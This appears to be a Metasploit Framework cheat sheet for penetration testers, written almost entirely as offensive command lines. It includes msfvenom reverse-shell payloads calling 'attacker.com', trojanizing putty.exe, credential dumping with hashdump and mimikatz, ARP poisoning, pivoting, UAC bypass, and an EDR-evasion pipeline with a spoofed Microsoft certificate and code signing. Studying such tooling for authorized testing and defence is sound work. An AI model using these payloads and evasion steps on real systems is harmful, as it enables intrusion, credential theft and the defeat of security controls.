Framework Architecture
MSF is a modular exploit framework. Every component is a Ruby class that fits into a defined hierarchy.
Layer Stack
| Layer | Role |
|---|---|
| Rex | Ruby Extension Library — low-level socket, crypto, encoding primitives. Everything is built on Rex. |
| MSF Core | Base classes for all module types. Provides the module API every exploit/payload inherits. |
| MSF Base | Simplified API layer for console, RPC, and external integrations. |
| Modules | Exploits, payloads, auxiliaries, encoders, NOPs, post, evasion — all loaded dynamically. |
| Interfaces | msfconsole, msfvenom, msfrpc, Armitage, Metasploit Pro |
Directory Layout
/usr/share/metasploit-framework/ ├── modules/ │ ├── exploits/ # exploitation modules │ ├── auxiliary/ # scanners, fuzzers, dos, brute │ ├── payloads/ # stagers, stages, singles │ ├── post/ # post-exploitation │ ├── encoders/ # payload encoding │ ├── nops/ # NOP sled generators │ └── evasion/ # AV evasion wrappers ├── lib/ # Rex + MSF core libraries ├── plugins/ # load with 'load' command ├── scripts/ # meterpreter scripts (legacy) └── data/ # wordlists, templates, shellcode
User Config Paths
~/.msf4/ # user config dir ~/.msf4/history # console history ~/.msf4/logs/ # framework logs ~/.msf4/loot/ # harvested data ~/.msf4/modules/ # drop custom modules here /etc/metasploit/ # system-level config
Standard Workflow
Engagement loop from startup through exploitation and session management.
Startup
msfconsole -q # quiet mode (no banner) msfconsole -r setup.rc # execute resource script on start
Database
db_status # check postgresql connection workspace -a engagement1 # create workspace workspace engagement1 # switch to it
Recon + Import
db_nmap -sCV -p- 10.10.10.1 # scan + auto-import to db hosts # view discovered hosts services # view open ports/services vulns # view identified vulns
Find → Use → Configure → Run
# Search search type:exploit platform:windows smb ms17 search cve:2021-44228 search name:eternalblue # Select and inspect use exploit/windows/smb/ms17_010_eternalblue info # full module documentation show options # required/optional settings show advanced # advanced tuning options show targets # supported target versions # Configure set RHOSTS 10.10.10.1 set LHOST tun0 # resolves your tun0 IP automatically set LPORT 443 set PAYLOAD windows/x64/meterpreter/reverse_https # Validate and run check # test if vulnerable (if supported) run # or 'exploit' run -j # run as background job
Resource Scripts
# Automate repetitive setups cat > setup.rc << 'EOF' workspace -a lab db_nmap -sCV 10.10.10.0/24 use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS file:/tmp/hosts.txt run EOF msfconsole -r setup.rc
Tip
setg LHOST tun0 sets a global option across all modules — set it once per session.Module Types
All modules are Ruby classes loaded dynamically from the modules/ hierarchy.
| Type | Purpose | Path prefix |
|---|---|---|
| exploit | Delivers payloads by exploiting a vulnerability | exploit/ |
| auxiliary | Scanners, fuzzers, DoS, brute-force — no payload | auxiliary/ |
| post | Post-exploitation against an open session | post/ |
| payload | Shellcode executed on target (staged or stageless) | payload/ |
| encoder | Re-encodes payload bytes to evade signature detection | encoder/ |
| nop | NOP sled generators for buffer overflows | nop/ |
| evasion | Payload wrapped with AV evasion techniques | evasion/ |
Key Auxiliary Modules
# Port scanning use auxiliary/scanner/portscan/tcp set RHOSTS 10.10.10.0/24 set PORTS 22,80,443,445,3389 # SMB enumeration use auxiliary/scanner/smb/smb_enumshares use auxiliary/scanner/smb/smb_enumusers use auxiliary/scanner/smb/smb_ms17_010 # vuln check # Credential attacks use auxiliary/scanner/ssh/ssh_login use auxiliary/scanner/ftp/ftp_login use auxiliary/scanner/http/http_login # Service enumeration use auxiliary/scanner/http/dir_scanner use auxiliary/scanner/http/robots_txt use auxiliary/scanner/rdp/rdp_scanner # Capture / sniff use auxiliary/server/capture/http_basic # cred harvester use auxiliary/spoof/arp/arp_poisoning
Module Ranking System
| Rank | Meaning |
|---|---|
| Excellent | Never crashes the service, clean exploitation |
| Great | Has default target, auto-detects OS/service |
| Good | Has default target but needs version match |
| Normal | Reliable but no auto-detection |
| Average | Sometimes crashes target |
| Low | Often crashes, triggers AV, or needs exact conditions |
| Manual | DoS only or requires extreme manual setup |
Sessions
Managing active sessions, pivoting, and routing through compromised hosts.
Session Management
# List all sessions sessions -l sessions # shorthand # Interact sessions -i 1 # interact with session 1 sessions -i -1 # interact with most recent session # Background current session background # or Ctrl+Z # Kill sessions sessions -k 1 # kill session 1 sessions -K # kill ALL sessions # Upgrade shell → meterpreter sessions -u 1 # auto upgrade # or manually: use post/multi/manage/shell_to_meterpreter set SESSION 1 run
Persistent Multi-Handler
use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_https set LHOST 0.0.0.0 set LPORT 443 set ExitOnSession false # keep alive for multiple sessions set EnableStageEncoding true # encrypt stage delivery set StageEncoder x64/xor_dynamic run -j # background job, keeps running
Pivoting via Autoroute
# Add route through session (access internal network) use post/multi/manage/autoroute set SESSION 1 set SUBNET 172.16.0.0/24 run # OR from meterpreter directly run autoroute -s 172.16.0.0/24 run autoroute -p # print active routes route print # from msfconsole # SOCKS proxy for tool routing use auxiliary/server/socks_proxy set VERSION 5 set SRVPORT 1080 run -j # proxychains routes through the SOCKS proxy proxychains nmap -sT 172.16.0.5
Payloads & msfvenom
Generating payloads, staged vs stageless, encoding, and injection into existing binaries.
Staged vs Stageless
| Type | Syntax | Pros | Cons |
|---|---|---|---|
| Staged | /meterpreter/ | Tiny stager (~300B), flexible | Needs live handler, extra traffic |
| Stageless | _meterpreter_ | Self-contained, no live handler needed | Larger binary, easier static detect |
msfvenom Syntax
msfvenom -p <PAYLOAD> [OPTIONS] -f <FORMAT> -o <OUTPUT> msfvenom -l payloads | grep windows/x64 # list payloads msfvenom -l formats # output formats msfvenom -l encoders # available encoders
Common Payloads
# Windows x64 HTTPS stageless (best for drops/phishing) msfvenom -p windows/x64/meterpreter_reverse_https \ LHOST=attacker.com LPORT=443 -f exe -o payload.exe # Windows DLL (sideloading / reflective) msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=10.10.14.1 LPORT=4444 -f dll -o payload.dll # Windows raw shellcode (for custom loaders) msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=10.10.14.1 LPORT=4444 -f raw -o shell.bin # PowerShell msfvenom -p windows/x64/meterpreter/reverse_https \ LHOST=10.10.14.1 LPORT=443 -f psh -o payload.ps1 # Linux ELF msfvenom -p linux/x64/meterpreter/reverse_tcp \ LHOST=10.10.14.1 LPORT=4444 -f elf -o shell.elf # Android APK msfvenom -p android/meterpreter/reverse_tcp \ LHOST=10.10.14.1 LPORT=4444 -o app.apk # PHP webshell msfvenom -p php/meterpreter/reverse_tcp \ LHOST=10.10.14.1 LPORT=4444 -f raw -o shell.php # Java JAR msfvenom -p java/meterpreter/reverse_tcp \ LHOST=10.10.14.1 LPORT=4444 -f jar -o payload.jar
Inject into Existing Binary
msfvenom -p windows/x64/meterpreter/reverse_https \ LHOST=10.10.14.1 LPORT=443 \ -x /tmp/putty.exe -k \ # -k = keep original functionality -f exe -o evil_putty.exe
Encoding
msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=10.10.14.1 LPORT=4444 \ -e x64/xor_dynamic -i 3 \ # -i = iterations -f exe -o encoded.exe
AV Reality CheckEncoding alone doesn't beat modern EDR. Use Donut → Scarecrow / Nimcrypt2 / custom Rust loader for real evasion. Encoding helps vs. basic signature scanners and IDS.
Database
PostgreSQL-backed workspace management for hosts, services, credentials, and loot.
Setup
systemctl start postgresql msfdb init # first-time init msfdb reinit # wipe and re-init # Inside msfconsole: db_status # should show "connected to msf"
Workspaces
workspace # list all workspace -a client_a # create new workspace client_a # switch to it workspace -d old_engagement # delete workspace -r old new # rename
Hosts & Services
# Hosts hosts # all discovered hosts hosts -c address,os_name # filter columns hosts -R # set RHOSTS to all hosts hosts -d 10.10.10.5 # delete a host # Services services # all services services -p 445 # filter by port services -s smb # filter by name services -R # set RHOSTS from service list
Import / Export
db_import /tmp/nmap.xml # nmap XML db_import /tmp/nessus.nessus # Nessus db_import /tmp/burp.xml # Burp Suite db_export -f xml /tmp/export.xml
Credentials & Loot
creds # all captured credentials creds -u admin # filter by username loot # harvested files, hashes, secrets
Post-Exploitation
Meterpreter commands, privilege escalation, lateral movement, and post modules.
Meterpreter Essentials
# System info sysinfo # OS, hostname, arch getuid # current user context getpid # our process PID ps # list processes # File system ls / dir # list directory cd /tmp # change dir download /etc/passwd # pull file to attacker upload /tmp/tool.sh # push file to target search -f "*.conf" # find files by pattern # Networking ipconfig / ifconfig # interface list arp # ARP table route # routing table portfwd add -l 8080 -p 80 -r 172.16.0.10 # Shell shell # drop to system shell execute -f cmd.exe -i -H # hidden interactive shell
Privilege Escalation
# Attempt all getsystem techniques getsystem getsystem -t 1 # technique 1: Named Pipe Impersonation (in memory) getsystem -t 2 # technique 2: Named Pipe (dropper) getsystem -t 3 # technique 3: Token Duplication getsystem -t 4 # technique 4: Named Pipe (RPCSS) getsystem -t 5 # technique 5: PrintSpoofer variant # If getsystem fails — auto-suggest local exploits use post/multi/recon/local_exploit_suggester set SESSION 1 run
Token Manipulation & Credential Dumping
# Process migration migrate -N explorer.exe # migrate to explorer migrate 1234 # migrate to PID # Token impersonation (incognito) load incognito list_tokens -u impersonate_token "DOMAIN\\Admin" getuid # verify new context # Credential dumping hashdump # SAM database (needs SYSTEM) load kiwi # load mimikatz creds_all # dump all creds lsa_dump_sam # SAM dump lsa_dump_secrets # LSA secrets
Useful Post Modules
post/multi/recon/local_exploit_suggester # privesc suggestions post/windows/gather/hashdump post/windows/gather/credentials/credential_collector post/windows/gather/enum_domain # AD info post/windows/manage/enable_rdp # enable RDP post/multi/manage/autoroute # add routes post/windows/escalate/bypassuac_injection # UAC bypass
Evasion
What actually works against modern EDR vs. what only helps against legacy AV.
Reality CheckBuilt-in MSF evasion (encoders, shikata_ga_nai) doesn't beat modern EDR. These help vs. basic AV and IDS signatures, not CrowdStrike / SentinelOne / Carbon Black.
Stage Encryption
# Encrypt the stage delivered by multi/handler set EnableStageEncoding true set StageEncoder x64/xor_dynamic # or x86/shikata_ga_nai for 32-bit set StageEncoderSaveRegisters rbx # preserve registers during decode # HTTPS already encrypts in-transit — prefer over raw TCP set PAYLOAD windows/x64/meterpreter/reverse_https
HTTPS Certificate Fingerprint Evasion
# Default MSF self-signed cert is in threat intel feeds — replace it openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ -subj "/C=US/ST=CA/O=Microsoft Corporation/CN=update.microsoft.com" \ -keyout msf.key -out msf.crt cat msf.key msf.crt > msf.pem set HandlerSSLCert /path/to/msf.pem set StagerVerifySSLCert true
Built-in Evasion Module
use evasion/windows/windows_defender_exe set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.10.14.1 set LPORT 4444 run # outputs an evading .exe (limited effectiveness) # Sandbox evasion options set PrependMigrate true set PrependMigrateProc svchost.exe
Real-World Evasion Pipeline
# Step 1: generate raw shellcode from MSF msfvenom -p windows/x64/meterpreter/reverse_https \ LHOST=attacker.com LPORT=443 -f raw -o shell.bin # Step 2: convert to position-independent shellcode donut -f shell.bin -o shell.donut # Step 3: wrap in evasive loader (pick one) # - Scarecrow (Go-based, syscall evasion) # - Nimcrypt2 (Nim loader with AMSI/ETW bypass) # - Custom Rust loader (SysWhispers3 direct syscalls) # Step 4: sign binary (optional, improves trust score) osslsigncode sign -certs cert.pem -key key.pem \ -in payload.exe -out signed.exe
Advanced Features
Power features, RPC API, custom module development, and keyboard shortcuts.
Console Power Features
# Multiple RHOSTS formats set RHOSTS 10.10.10.1,10.10.10.5 set RHOSTS 10.10.10.0/24 set RHOSTS file:/tmp/targets.txt # Global vs module options setg LHOST tun0 # global — persists across modules setg LPORT 443 unsetg LHOST # clear global # Jobs jobs # list background jobs jobs -K # kill all jobs kill 0 # kill job 0 # Logging spool /tmp/msf.log # log all console output spool off # Reload after editing custom module reload_all use exploit/custom/mymodule # Drop into Ruby REPL irb
RPC API — Python Scripting
# Start RPC daemon msfrpcd -P password -S -f # -S = SSL, -f = foreground # Python client pip install pymetasploit3 from pymetasploit3.msfrpc import MsfRpcClient client = MsfRpcClient('password', ssl=True) exploit = client.modules.use('exploit', 'windows/smb/ms17_010_eternalblue') exploit['RHOSTS'] = '10.10.10.40' exploit.execute(payload='windows/x64/meterpreter/reverse_tcp')
Custom Module Skeleton
# Drop in: ~/.msf4/modules/exploits/custom/myexploit.rb class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'My Custom Exploit', 'Platform'=> 'win', 'Arch' => ARCH_X64, 'Targets' => [['Windows x64', {}]], 'DefaultTarget' => 0 )) register_options([ Opt::RHOST(), Opt::RPORT(9999) ]) end def exploit connect buf = make_nop(16) + payload.encoded sock.put(buf) handler disconnect end end
Keyboard Shortcuts
| Key | Action |
|---|---|
Ctrl+Z | Background current session |
Ctrl+C | Interrupt running module |
Ctrl+L | Clear screen |
Tab | Autocomplete commands and module paths |
↑ / ↓ | Command history |
!cmd | Run system shell command from msfconsole |
irb | Drop into Ruby REPL inside MSF |
setg | Set global option persisting across modules |